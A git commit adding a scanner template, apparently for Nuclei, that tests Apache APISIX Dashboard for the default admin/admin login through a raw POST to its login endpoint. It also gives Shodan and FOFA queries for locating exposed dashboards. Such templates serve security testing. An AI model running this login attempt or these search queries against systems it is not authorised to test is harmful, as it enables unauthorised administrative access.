Added Apache Apisix Default Login (#3453)

patch-1
Sandeep Singh 2021-12-31 17:31:08 +05:30 committed by GitHub
parent 6db74541b8
commit 6f03c10d08
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 42 additions and 0 deletions

View File

@ -0,0 +1,42 @@
id: apisix-default-login
info:
name: Apache Apisix Default Login
author: pdteam
severity: critical
tags: apisix,apache,default-login
metadata:
shodan-query: title:"Apache APISIX Dashboard"
fofa-query: title="Apache APISIX Dashboard"
product: https://apisix.apache.org
requests:
- raw:
- |
POST /apisix/admin/user/login HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Authorization:
Content-Type: application/json;charset=UTF-8
{"username":"{{user}}","password":"{{pass}}"}
attack: pitchfork
payloads:
user:
- admin
pass:
- admin
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"data"'
- '"token"'
- '"code":0'
condition: and